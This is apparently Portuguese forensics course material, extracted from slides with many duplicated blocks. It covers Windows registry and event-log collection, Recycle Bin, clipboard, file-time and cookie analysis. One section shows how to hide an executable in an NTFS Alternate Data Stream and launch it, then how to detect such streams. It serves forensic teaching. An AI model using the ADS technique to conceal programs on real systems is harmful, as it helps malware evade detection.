Coleta de informaes em registros do


Windows
REG_BINARY

Dados binrios no-processados.

REG_DWORD

Dados representados por um nmero de 4 bytes.

REG_EXPAND_SZ

Seqncia de dados com extenso varivel.

REG_MULTI_SZ

Uma seqncia mltipla.

REG_SZ

Seqncia de texto com extenso fixa.

REG_RESOURCE_LIST

Srie de matrizes para armazenar lista de recursos usada por


driver de dispositivo de hardware ou pelos dispositivos fsicos
controlados por ele.

REG_RESOURCE_REQUIREMENTS_LIST

Srie de matrizes para armazenar lista de drivers de dispositivo


de hardware.

REG_FULL_RESOURCE_DESCRIPTOR

Srie de matrizes para armazenar lista de drivers de dispositivo


de hardware.

REG_NONE

Dados sem um tipo especfico.

REG_LINK

Uma seqncia Unicode que nomeia um link simblico.

REG_QWORD

Dados representados por um nmero que seja um inteiro de 64


bytes.

Dados binrios no-processados.


Grande parte das informaes do componente de
hardware armazenada como dado binrio e exibida
em formato hexadecimal no Editor do Registro.

\\REG_DWORD

Dados representados por um


nmero de 4 bytes. Muitos parmetros para
drivers e servios de dispositivos apresentam
esse tipo e so exibidos no Editor do Registro em
formato binrio, hexadecimal ou decimal.

\\REG_EXPAND_SZ

Seqncia de dados com


extenso varivel. Esses tipos de dados incluem
variveis que so resolvidas quando um programa
ou servio usa os dados.

\\REG_MULTI_SZ

Seqncia mltipla. Valores que contm listas ou valores


mltiplos em um formato que as pessoas conseguem ler so geralmente deste
tipo. As entradas so separadas por espaos, vrgulas ou outras pontuaes.

\\REG_SZ

Seqncia de texto com extenso fixa.

\\REG_RESOURCE_LIST

Srie de matrizes para armazenar lista de recursos


usada por driver de dispositivo de hardware ou pelos dispositivos fsicos
controlados por ele. Esses dados so detectados e gravados pelo sistema
na rvore \ResourceMap e exibidos no Editor do Registro em formato
hexadecimal como valores binrios.

\\REG_RESOURCE_REQUIREMENTS_LIST

Srie de matrizes criadas para


armazenar uma lista de drivers de dispositivos de possveis recursos de
hardware que o driver ou um dos dispositivos fsicos que ele controla possam
usar. O sistema grava um subconjunto desta lista na rvore \ResourceMap.
Estes dados so detectados pelo sistema e exibidos no Editor do Registro em
formato hexadecimal como valores binrios.

Anlise forense avanada em Windows (parte 2)

162

Escola Superior de Redes RNP


\\REG_FULL_RESOURCE_DESCRIPTOR

Srie de matrizes para armazenar


lista de drivers de dispositivo de hardware. Tambm projetadas para
armazenar uma lista de recursos usada por um dispositivo fsico de
hardware. Esses dados so detectados e gravados pelo sistema na rvore \
HardwareDescription e exibidos no Editor do Registro em formato hexadecimal
como valores binrios.

\\REG_NONE

Dados sem um tipo especfico, gravados pelo sistema ou


pelos aplicativos no registro e exibidos no Editor do Registro em formato
hexadecimal como valores binrios.

\\REG_QWORD

Dados representados por um nmero que seja um inteiro


de 64 bits, exibidos no Editor do Registro como valores binrios. Foram
introduzidos pela primeira vez no Windows 2000.

Coleta de informaes em registros do


Windows
Cpia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt
D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt

Principais buscas nos registros:


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\*

Cpia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt8
D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis
try_HKCU.txt8

Principais buscas nos registros:


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Internet Explo
rer\TypedURLs
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren
tVersion\Explorer\RunMRU
HKCU\Software\Microsoft\Windows\CurrentVersion\Expl
orer\ComDlg32\OpenSaveMRU\*

Para realizar uma cpia em formato de texto do registro do Windows podemos utilizar a
ferramenta regdmp.exe. necessrio direcionar a sada do comando para um arquivo.
O arquivo gerado nos permite realizar uma srie de buscas em chaves consideradas importantes para o processo de coleta de informaes. Podemos realizar
consultas a chaves especficas ou a um diretrio inteiro dentro do registro.

Anlise forense Sesso de aprendizagem 10

163

Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa
de datas de modificao de alguma das chaves. interessante para achar modificaes recentes no registro, causadas por algum vrus ou ferramenta de rootkit.

Uma forma adicional de realizar a cpia do registro utilizando o aplicativo dumpreg.exe. Esta ferramenta permite realizar a cpia das seguintes chaves de registro:
\\HKEY_LOCAL_MACHINE
\\HKEY_USERS
\\HKEY_CURRENT_USER

Anlise forense avanada em Windows (parte 2)

164

Escola Superior de Redes RNP

Uma funcionalidade permite navegar nos dados ordenados por tempo, o que
possibilita verificar mais facilmente em um determinado momento as chaves que
foram modificadas.

Coleta de registros de eventos (logs)


EventLogs: arquivos de log do Windows
Application

Contm os registros enviados por programas e aplicativos.

Security
Contm os registros de segurana relacionados com
tentativas de acesso ao terminal do sistema e violao de
privilgios.

System
Contm os registros relacionados com o sistema e hardware;
se um servio no for inicializado corretamente ser gerado
um alerta.

Coleta de registros de eventos (logs)


O sistema Windows possui uma srie de registros de
eventos, que diferentemente do Linux so gravados
em formato binrio e, portanto, necessitam de ferramentas especiais para acessar seu contedo.
Alm dos arquivos de log acima citados podem existir
ainda outros trs:
\\Directory

Service Log (quando o sistema for um


controlador de domnio)

\\File

Replication Service Log (quando o sistema for


um controlador de domnio)

\\DNS

Server Log (quando o sistema for um


servidor de DNS)

Outros processos do sistema podem criar arquivos de logs especficos, tal como
ferramentas de antivrus ou firewall.

Coleta de registros de eventos (logs)


EventLogs: arquivos de log do Windows
Da mesma forma que os arquivos de registro, os arquivos de
log esto armazenados no diretrio c:\windows\system32\config
e possuem a terminao .evt .
D:\IR\xp> dir c:\windows\system32\config\*.evt
Directory of c:\windows\system32\config
06/01/2008 14:42
65.536 Antiviru.evt
29/01/2008 05:11
65.536 Antivirus.Evt
29/01/2008 05:11
524.288 AppEvent.Evt
24/10/2006 19:23
65.536 Internet.evt
29/01/2008 05:11
524.288 SecEvent.Evt
29/01/2008 05:11
524.288 SysEvent.Evt

Anlise forense Sesso de aprendizagem 10

D:\IR\xp> dir c:\windows\system32\config\*.evt8


Directory of c:\windows\system32\config
06/01/2008 14:42 65.536 Antiviru.evt
29/01/2008 05:11 65.536 Antivirus.Evt
29/01/2008 05:11 524.288 AppEvent.Evt
24/10/2006 19:23 65.536 Internet.evt
29/01/2008 05:11 524.288 SecEvent.Evt
29/01/2008 05:11 524.288 SysEvent.Evt

165

Coleta de registros de eventos (logs)

Registro de eventos:
D:\IR\xp> psloglist8

Registro de eventos
D:\IR\xp> psloglist
System log on \\COMPUTADOR:
[494907] WinDefend
Type:
INFORMATION
Computer: COMPUTADOR
Time:
30/1/2008 20:03:49
ID:
2000
Windows Defender signature version has been updated.
Current Signature Version: 1.24.6025.0
Previous Signature Version: 1.24.5865.0
Update Source: User
Signature Type: AntiSpyware
Update Type: Delta
User: COMPUTADOR\Usuario
Current Engine Version: 1.1.3109.0
Previous Engine Version: 1.1.3109.0

System log on \\COMPUTADOR:


[494907] WinDefend
Type: INFORMATION
Computer: COMPUTADOR
Time: 30/1/2008 20:03:49 ID: 2000
Windows Defender signature version has been updated.
Current Signature Version: 1.24.6025.0
Previous Signature Version: 1.24.5865.0
Update Source: User
Signature Type: AntiSpyware
Update Type: Delta
User: COMPUTADOR\Usuario
Current Engine Version: 1.1.3109.0
Previous Engine Version: 1.1.3109.0

Podemos verificar que os registros de evento em um sistema Windows so bem


diferentes dos logs que costumamos ver em um sistema Linux. Mesmo assim eles
so importantes fontes de informao sobre os acontecimentos no sistema.
Devido ao fato de serem arquivos binrios, so muito mais difceis de modificar
pelos invasores que tentam esconder suas atividades.

Coleta de registros de eventos (logs)

Registro de eventos:
D:\IR\xp> ..\2k\res_kit\dumpel /?8

Registro de eventos
D:\IR\xp> ..\2k\res_kit\dumpel /?
DUMPEL Usage:
dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [dx]
-d <days> Filters for event last days (number larger than zero)
-e nn
Filters for event id nn (up to 10 may be specified)
-f <filename> Output filename (default stdout)
-l <name> Dumps the specified log (system, application, security)
-b
Dumps a backup file (use -l to specify file name)
-m <name> Filters for events logged by name
-r
Filters out events logged by name (must use -m too)
-s <servername> Remote to servername
-t
Use tab to separate strings (default is space)
-c
Use comma to separate fields
-ns
Do not output strings
-format <fmt> Specify output format.

DUMPEL Usage:
dumpel -f file [-s \\server] [-l log [-m source]] [e n1 n2 n3..] [-r] [-t] [-dx]
-d <days> Filters for event last days (number larg
er than zero)
-e nn Filters for event id nn (up to 10 may be spe
cified)
-f <filename> Output filename (default stdout)
-l <name> Dumps the specified log (system, applicat
ion, security)
-b Dumps a backup file (use -l to specify file name)
-m <name> Filters for events logged by name
-r Filters out events logged by name (must use -m t
oo)
-s <servername> Remote to servername
-t Use tab to separate strings (default is space)
-c Use comma to separate fields
-ns Do not output strings
-format <fmt> Specify output format.

Repare que a ferramenta mostrada no slide no est no caminho padro do prompt


de comandos, tendo sido necessrio especificar o caminho completo para ele.
Observe que a ferramenta bem verstil, permitindo restringir as consultas por
data, padres de texto, alm de permitir formatar a sada da maneira que o investigador quiser.

Anlise forense avanada em Windows (parte 2)

166

Escola Superior de Redes RNP

Inclusive, possvel especificar o separador de cada campo, o que permite


carregar o log posteriormente em uma base de dados e desta forma facilitar as
consultas aos eventos.

Coleta de registros de eventos (logs)

Registro de eventos:
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evt
dump.txt8

Registro de eventos
D:\IR\xp> dumpevt /logfile=app /all /outfile=\tmp\evtdump.txt
Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by Somarsoft, Inc.
LogType=Application
Computer=(local)
SystemRoot=C:\WINDOWS
Outfile=\tmp\evtdump.txt
Use HKEY_CURRENT_USER for saving record number
Format=yes
DateFormat=(locale dependent)
TimeFormat=HH':'mm':'ss
FieldSeparator=,
ReplaceFieldSeparator= (blank)

Somarsoft DumpEvt V1.7.3, Copyright 1995-1997 by S


omarsoft, Inc.
LogType=Application
Computer=(local)
SystemRoot=C:\WINDOWS
Outfile=\tmp\evtdump.txt
Use HKEY_CURRENT_USER for saving record number8
Format=yes
DateFormat=(locale dependent)
TimeFormat=HH:mm:ss
FieldSeparator=,
ReplaceFieldSeparator= (blank)

Permite especificar o tipo de log que desejamos coletar, gerando uma sada j
formatada para ser inserida em uma base de dados.
O arquivo gerado por este comando poder ser ento importado em uma base de
dados como um arquivo CSV separado por vrgulas, o que pode facilitar a anlise
dos eventos, que muitas vezes contm milhares de linhas.
Existe uma ferramenta disponvel no kit que no serve exclusivamente para visualizao de logs de eventos, embora tambm tenha esta funcionalidade.
Esta ferramenta serve para realizar uma auditoria completa no sistema, e permite
visualizar informaes sobre logs de eventos, instalaes de programas e atualizaes do Windows, alm de informaes gerais sobre o sistema.

Anlise forense Sesso de aprendizagem 10

167

Anlise de contedo do Recycle.Bin

Anlise de contedo do Recycle.Bin


Os arquivos removidos so enviados para uma pasta
oculta representada no desktop pelo cone de uma
lixeira.
Existe um diretrio RECYCLER em cada partio do
disco da mquina.
Dentro deste diretrio existem subdiretrios cujos
nomes so as identificaes de segurana do usurio
(SID).
Com a informao disponvel possvel identificar qual
usurio removeu um arquivo especfico.
Dentro do subdiretrio representado pelo SID existem
sempre dois arquivos: desktop.ini e INFO2.

Quando os arquivos so removidos, so enviados


para uma pasta oculta representada no desktop pelo
cone de uma lixeira. Existe um diretrio RECYCLER
em cada partio do disco da mquina. Dentro deste
diretrio existem subdiretrios cujos nomes so as
identificaes de segurana do usurio (SID). Com
a informao disponvel possvel identificar qual
usurio removeu um arquivo especfico.

Dentro do subdiretrio representado pelo SID existem sempre dois arquivos: desktop.ini e INFO2.
Quando um arquivo apagado atravs do Windows Explorer, ele movido para o
diretrio RECYCLER com um nome diferente do original. Por exemplo, o arquivo
teste.txt quando apagado se transforma em Dc1.txt, ou seja, o arquivo removido
tem origem no drive C, e o primeiro arquivo removido, com extenso .txt.

D:\IR\xp> dir /a c:\RECYCLER\S-1-5-21-4042056708-2335835806-3410500470-10068


17/01/2008
01/12/2007
29/01/2008
30/01/2008

00:05
14:50
14:42
22:10

389 Dc1
83 Dc2.txt
65 desktop.ini
1.620 INFO2

D:\IR\xp> sid2user 5 21 4042056708 2335835806 3410500470 10068

Recycle.Bin

Name is Usuario
Domain is COMPUTADOR
Type of SID is SidTypeUser

Podemos dizer que o segundo arquivo apagado presente neste diretrio um


arquivo originalmente com extenso .txt, e que o primeiro no tem extenso.
No kit de ferramentas existe um aplicativo chamado sid2user.exe, que permite
converter o SID para o nome do usurio do sistema. Com isso, podemos identificar o usurio que apagou os arquivos.
D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-40420567082335835806-3410500470-1006\INFO28

Anlise de contedo do Recycle.Bin


Recycle.Bin

INFO2 File: c:\RECYCLER\S-1-5-21-40420567082335835806-3410500470-1006\INFO2

D:\IR\xp> rifiuti c:\RECYCLER\S-1-5-21-4042056708-23358358063410500470-1006\INFO2


INFO2 File: c:\RECYCLER\S-1-5-21-4042056708-2335835806-34105004701006\INFO2
INDEX
1
2

DELETED TIME
DRIVE NUMBER
Tue Jan 29 20:21:58 2008
Thu Jan 31 00:10:42 2008

PATH
2
2

SIZE
C:\s9k 4096
C:\dump.txt

4096

INDEX DELETED TIME


DRIVE NUMBER PATH
1
Tue Jan 29 20:21:58 2008
2
4096
2
Thu Jan 31 00:10:42 2008
2
C:\dump.txt 4096

SIZE
C:\s9k

Existe uma ferramenta no kit que permite listar as


informaes presentes no arquivo INFO2 em um
formato inteligvel, e dessa forma descobrir o nome
original dos arquivos.
Anlise forense avanada em Windows (parte 2)

168

Escola Superior de Redes RNP

Anlise de contedo do Clipboard


O contedo da rea de transferncia ou clipboard
uma evidncia normalmente esquecida pelo
investigador
Existem trs tipos principais de informao que
podem ser copiadas atravs da rea de transferncia:
textos, imagens ou tabelas e arquivos
Para verificar se existem arquivos na rea de
transferncia, pode-se usar o Explorer para colar o
contedo da rea de transferncia em um diretrio
Para objetos complexos, possvel colar o contedo
em um documento aberto no WordPad

Anlise de contedo do Clipboard


O contedo da rea de transferncia uma evidncia
quase sempre esquecida pelo investigador, que pode
conter informaes importantes sobre o uso recente
do equipamento analisado; tambm conhecido como
clipboard, pode conter informaes importantes
esquecidas por algum usurio recente.
Existem trs tipos principais de informao que podem
ser copiadas atravs da rea de transferncia: textos,
objetos complexos como imagens ou tabelas e arquivos.

Para verificar se existem arquivos na rea de transferncia, pode-se usar o Explorer


para colar o contedo da rea de transferncia em um diretrio. Para objetos
complexos, possvel colar o contedo em um documento aberto no WordPad.

Anlise de contedo do Clipboard


Clipboard

Infelizmente, a ferramenta para verificao da rea


de transferncia que existe no kit de ferramentas
permite mostrar somente textos que estejam na rea
de transferncia.

D:\IR\xp> pclip
Informacoes de cartao de credito:
1234-1234-1234-1111
1234-1234-1234-1113
1234-1234-1234-1112

Anlise de contedo de arquivos


Informaes sobre arquivos
D:\IR\xp> mac -d c:\windows
MAC.pl
Collect MAC times and owner from files in a directory.
By default, search starts at current dir, looking at all files.
NOTE: Beginning and end of search are timestamped. Output is in CSV
format
for easy opening in Excel.
Start search,1201742514,Wed Jan 30 23:21:54 2008
File,Size,Last Access,Last Modification,Creation
c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 30 16:41:41 2008,Wed
Jan 30 16:41:41 2008,Wed Jan 9 08:19:37 2008
c:\windows\accessories.ico,13942,,Wed Jan 9 02:42:12 2008,Tue Jan 6
15:00:10 2004,Sat May 10 22:50:09 2003
c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12 2008,Fri Jul 30
13:59:42 2004,Sat May 10 22:50:09 2003

Anlise forense Sesso de aprendizagem 10

Anlise de contedo de arquivos


Informaes sobre arquivos:
D:\IR\xp> mac -d c:\windows8
MAC.pl
Collect MAC times and owner from files in a directory.
By default, search starts at current dir, looking a
t all files.
NOTE: Beginning and end of search are timestamped. O
utput is in CSV format
for easy opening in Excel.
Start search,1201742514,Wed Jan 30 23:21:54 2008
File,Size,Last Access,Last Modification,Creation
c:\windows\0.log,0,BUILTIN\Administrators,Wed Jan 3
0 16:41:41 2008,Wed Jan 30 16:41:41 2008,Wed Jan 9 0
8:19:37 2008
c:\windows\accessories.ico,13942,,Wed Jan 9
02:42:12 2008,Tue Jan 6 15:00:10 2004,Sat May 10
22:50:09 2003
c:\windows\AG-Rose.ico,5430,,Wed Jan 9 02:42:12
2008,Fri Jul 30 13:59:42 2004,Sat May 10 22:50:09
2003

169

A ferramenta acima permite extrair as informaes de tempo de acesso, modificao


e criao dos arquivos e format-las de forma a estarem prontas para serem
inseridas numa base ou abertas em uma planilha. Alm disso, ela lista o usurio
responsvel pela criao do arquivo.

Anlise de contedo de arquivos

Informaes sobre arquivos:


D:\IR\xp> afind c:\windows\system328

Informaes sobre arquivos


D:\IR\xp> afind c:\windows\system32
Searching...
c:\windows\system32\XPSViewer\en-us
Finished

D:\IR\xp> file -m ..\Cygwin\magic


c:\WINDOWS\NOTEPAD.EXE 
c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable
(EXE), OS/2 or MS Windows

Searching...
c:\windows\system32\XPSViewer\en-us
Finished
D:\IR\xp> file -m ..\Cygwin\magic
c:\WINDOWS\NOTEPAD.EXE8
c:\WINDOWS\NOTEPAD.EXE: MS-DOS executable (EXE), OS
/2 or MS Windows

A ferramenta permite procurar em um diretrio pelo


ltimo arquivo acessado. Esta informao pode ser
importante na anlise de um sistema que acabou de
ser comprometido.
Veja que listado acima o ltimo arquivo acessado dentro do diretrio especificado.
Alm disso, o comando permite examinar o ltimo acesso a um determinado arquivo,
ou listar arquivos acessados entre perodos determinados.
O comando file.exe presente no kit de ferramentas funciona basicamente como
sua verso Linux, mas necessrio especificar qual arquivo contm os padres
de reconhecimento do tipo de arquivo.

Anlise de contedo de arquivos


Informaes sobre arquivos
D:\IR\xp> filestat c:\boot.ini
Dumping c:\boot.ini...
SD is valid.
SD's Owner is Not NULL
SID = BUILTIN/Administrators
S-1-5-32-544
SID = /
(Account Unknown) S-1-5-21-1607551490-981732888-1819828000-513
SID = BUILTIN/Administrators
S-1-5-32-544
ACE 0 is an ACCESS_ALLOWED_ACE_TYPE
ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN
SID = NT AUTHORITY/SYSTEM
S-1-5-18
ACE 1 is an ACCESS_ALLOWED_ACE_TYPE
ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD -CHANGE_PERMS -TAKE_OWN
Stream 1:
Stream name = ???$?? Size: 116
Stream 2:
Stream name = ???$?? Size: 211
Stream 3:
Stream name = ???$?? Size: 64
Creation Time - 07/08/2004 10:51:38
Last Mod Time - 30/11/2007 11:32:08
Last Access Time - 30/01/2008 23:16:27

Anlise forense avanada em Windows (parte 2)

Informaes sobre arquivos:


D:\IR\xp> filestat c:\boot.ini8
Dumping c:\boot.ini...
SD is valid.
SDs Owner is Not NULL
SID = BUILTIN/Administrators S-1-5-32-544
SID = / (Account Unknown) S-1-5-21-1607551490-98173
2888-1819828000-513
SID = BUILTIN/Administrators S-1-5-32-544
ACE 0 is an ACCESS_ALLOWED_ACE_TYPE
ACE 0 mask = 0x001f01ff -R -W -X -D -DEL_CHILD CHANGE_PERMS -TAKE_OWN
SID = NT AUTHORITY/SYSTEM S-1-5-18
ACE 1 is an ACCESS_ALLOWED_ACE_TYPE
ACE 1 mask = 0x001f01ff -R -W -X -D -DEL_CHILD CHANGE_PERMS -TAKE_OWN
Stream 1:

Stream name = ???$?? Size: 116
Stream 2:

Stream name = ???$?? Size: 211
Stream 3:

Stream name = ???$?? Size: 64
Creation Time - 07/08/2004 10:51:38
Last Mod Time - 30/11/2007 11:32:08
Last Access Time - 30/01/2008 23:16:27

170

Escola Superior de Redes RNP

Veja que este comando produz informaes importantes sobre um arquivo, principalmente sobre permisses de segurana e streams alternativos.

Recuperao de dados ocultos ADS


Ocultao de dados:
Alternate Data Streams (ADS) so dados associados a
arquivos
So utilizados por programas maliciosos e rootkits
para esconder informaes no sistema
Entretanto, sua origem e motivao so nobres: ADS
so utilizados para armazenar informaes extras
sobre um arquivo, como o Thumbnail de uma imagem
ou o cone de um arquivo

Recuperao de dados ocultos ADS


Alternate Data Streams (ADS) so dados associados
a arquivos. Como vimos anteriormente, um arquivo
em um sistema de arquivos NTFS definido por
diversos atributos. Estes atributos extras so os chamados ADS. O atributo Data, que define a rea onde
o contedo do arquivo vai ser armazenado, pode ser
definido mais de uma vez.

ADS so utilizados por muitos programas maliciosos


e rootkits para esconder informaes no sistema.
Apesar disso, sua origem e motivao so nobres:
ADS so utilizados para armazenar informaes extras sobre um arquivo, como o
Thumbnail de uma imagem ou o cone de um arquivo.

Recuperao de dados ocultos ADS

Ocultao de dados:
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp
\file.txt8

Ocultao de dados:
D:\IR\xp> echo Este e um arquivo de textos > d:\tmp\file.txt
D:\IR\xp> dir d:\tmp\file.txt
31/01/2008 00:40

30 file.txt

D:\IR\xp> echo Este e um stream ADS >


d:\tmp\file.txt:adsdata.txt
D:\IR\xp> dir d:\tmp\file.txt
31/01/2008 00:40

30 file.txt

D:\IR\xp> type d:\tmp\file.txt


Este e um arquivo de textos
D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt
Este e um stream ADS

D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008

00:40

30 file.txt

D:\IR\xp> echo Este e um stream ADS > d:\tmp\file.txt


:adsdata.txt8

D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008

00:40

30 file.txt

D:\IR\xp> type d:\tmp\file.txt8


Este e um arquivo de textos

Recuperao de dados ocultos ADS

D:\IR\xp> less < d:\tmp\file.txt:adsdata.txt8


Este e um stream ADS

Ocultao de dados:
D:\IR\xp> type c:\windows\notepad.exe >
d:\tmp\file.txt:np.exe
D:\IR\xp> start d:\tmp\file.txt:np.exe
D:\IR\xp> dir d:\tmp\file.txt
31/01/2008 00:43

30 file.txt

Como podemos observar, possvel armazenar


dados atrelados ao arquivo original file.txt, sem que
estejam visveis e sejam detectados. A princpio no
existe limitao de nmero e tamanho para os arquivos ADS, e inclusive possvel executar programas
que esto ocultos no ADS.
D:\IR\xp> type c:\windows\notepad.exe > d:\tmp\file.
txt:np.exe8

Anlise forense Sesso de aprendizagem 10

171

D:\IR\xp> start d:\tmp\file.txt:np.exe8

D:\IR\xp> dir d:\tmp\file.txt8


31/01/2008 00:43 30 file.txt

Ao realizar a ao descrita no slide veremos um notepad aberto na tela, e ao


verificar no Gerenciador de tarefas observaremos que o executvel um ADS; o
arquivo file.txt:adsdata.txt continua disponvel.
Quando o arquivo de origem removido (neste caso file.txt) no se pode mais
acessar os ADS que estavam a ele relacionados. No entanto, os dados continuam
no disco at serem eventualmente sobrescritos.
Em um sistema onde foram encontrados indcios do uso de ADS, pode ser necessrio realizar uma pesquisa completa na imagem do disco.

Recuperao de dados ocultos ADS

Ocultao de dados:
D:\IR\xp> ads d:\tmp8

Ocultao de dados:
D:\IR\xp> ads d:\tmp
d:\tmp\teste.txt:adsdata.txt
(23 bytes)
d:\tmp\teste.txt:np.exe (69120 bytes)

d:\tmp\teste.txt:adsdata.txt (23 bytes)


d:\tmp\teste.txt:np.exe (69120 bytes)
D:\IR\xp> streams d:\tmp\*8

D:\IR\xp> streams d:\tmp\*


d:\tmp\teste.txt:
:adsdata.txt:$DATA 23
:np.exe:$DATA 69120
D:\IR\xp> sfind d:\tmp
Searching...
d:\tmp
teste.txt:adsdata.txt Size: 23
teste.txt:np.exe Size: 69120
Finished

d:\tmp\teste.txt:
:adsdata.txt:$DATA 23
:np.exe:$DATA 69120
D:\IR\xp> sfind d:\tmp8
Searching...
d:\tmp
teste.txt:adsdata.txt Size: 23
teste.txt:np.exe Size: 69120
Finished

As ferramentas acima podem ser usadas para detectar a presena de ADS em


um arquivo ou diretrio. importante notar que alguns arquivos do sistema
contm ADS, como os arquivos Thumbs.db criados pelo Explorer, que precisam
disso para funcionar.

Anlise forense avanada em Windows (parte 2)

172

Escola Superior de Redes RNP

Anlise do histrico de navegao

Anlise do histrico de navegao

Histrico de navegao:

Histrico de navegao
D:\IR\xp> pasco -d "c:\Documents and Settings\Usuario\Cookies\index.dat

History File: c:\Documents and Settings\hp\Cookies\index.dat


TYPE
URL
MODIFIED TIME
ACCESS TIME
FILENAME
DIRECTORY
HTTP HEADERS
URL
Cookie:hp@onlinestores.metaservices.microsoft.com
/serviceswitching/Thu Jan 10 04:00:46 2008
Wed Jan 30 23:56:31
2008 hp@onlinestores.metaservices.microsoft[1].txt
URL
Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008
Thu Jan
31 03:28:55 2008
hp@rad.msn[1].txt
URL
URL
Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16:36 2008
Thu Jan 31 01:16:36 2008
hp@ad.adnetwork.com[1].txt
URL

Anlise do histrico de navegao


Histrico de navegao
D:\IR\xp> galleta "C:\Documents and Settings\Usuario\Application
Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt"
Cookie File: C:\Documents and Settings\hp\Application
Data\Mozilla\Firefox\Profiles\1jwwc64n.default\cookies.txt
SITE

VARIABLE VALUE

CREATION TIME

EXPIRE TIME

FLAGS

.google.com
TRUE
/
FALSE
1262741102
PREF
ID=66ce23137a6d713d:FF=
4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM
0IeCa
il.google.com
FALSE
/mail
FALSE
1348445213
gmailchat
60644
.google.com
TRUE
/mail/ FALSE
1262402786
__utmx
173272373.
Thu Jan 1 00:00:00 1970
Thu Jan 1 00:00:00
1970
.google.com
TRUE
/FALSE 1506634851
rememberme
true

D:\IR\xp> pasco -d c:\Documents and Settings\Usuar


io\Cookies\index.dat8
History File: c:\Documents and Settings\hp\Cookies\
index.dat
TYPE URL MODIFIED TIME ACCESS TIME FILENAME DIRECTO
RY HTTP HEADERS
URL Cookie:hp@onlinestores.metaservices.microsoft.c
om /serviceswitching/Thu Jan 10 04:00:46 2008 Wed J
an 30 23:56:31 2008 hp@onlinestores.metaservices.mi
crosoft[1].txt
URL Cookie:hp@rad.msn.com/ Thu Jan 10 11:59:48 2008
Thu Jan 31 03:28:55 2008 hp@rad.msn[1].txt URL
URL Cookie:hp@ad.adnetwork.com.br/ Thu Jan 31 01:16
:36 2008 Thu Jan 31 01:16:36 2008 hp@ad.adnetwork.
com[1].txt URL

Os histricos de navegao web e cookies armazenados podem fornecer informaes importantes sobre o
mau uso do sistema. Eles informam, por exemplo, se
um usurio visitou algum site no permitido ou capaz
de infectar a mquina com algum programa malicioso.
Sendo assim, importante para o investigador
coletar e analisar esse tipo de informao. Esta
ferramenta permite listar o contedo do arquivo de
cookies do Internet Explorer, o que pode ser importante para identificar spywares ou acessos a sites
imprprios.

D:\IR\xp> galleta C:\Documents and Settings\Usuario\Application Data\Mozilla\F


irefox\Profiles\1jwwc64n.default\cookies.txt8
Cookie File: C:\Documents and Settings\hp\Application Data\Mozilla\Firefox\Prof
iles\1jwwc64n.default\cookies.txt
SITE VARIABLE VALUE

CREATION TIME

EXPIRE TIME

FLAGS

.google.com TRUE
/
FALSE 1262741102
PREF
ID=66ce23137a6d713d:FF=
4:LD=en:NR=10:TM=1153453246:LM=1199669113:DV=AA:GM=1:IG=3:S=61TCN1UHJwM0IeCa v
il.google.com
FALSE /mail FALSE 1348445213
gmailchat
60644
.google.com
TRUE
/mail/ FALSE 1262402786
__utmx v
173272373. Thu Jan 1 00:00:00 1970 Thu Jan 1 00:00:00 1970
.google.com TRUE
/FALSE 1506634851
rememberme
true

Para coletar a mesma informao, mas de sistemas que utilizem o Mozilla ou


Firefox, podemos usar a ferramenta galleta.exe.

Anlise forense Sesso de aprendizagem 10

173

Como podemos observar nos exemplos do slide, as sadas de ambas as ferramentas utilizam um formato parecido, com campos separados por TAB, o que
facilita a insero destes dados em uma tabela ou base de dados.

Anlise do histrico de navegao

No slide podemos observar os cookies, com respectivas datas de criao, modificao e acesso, e os valores correspondentes.

Anlise
do histrico de navegao
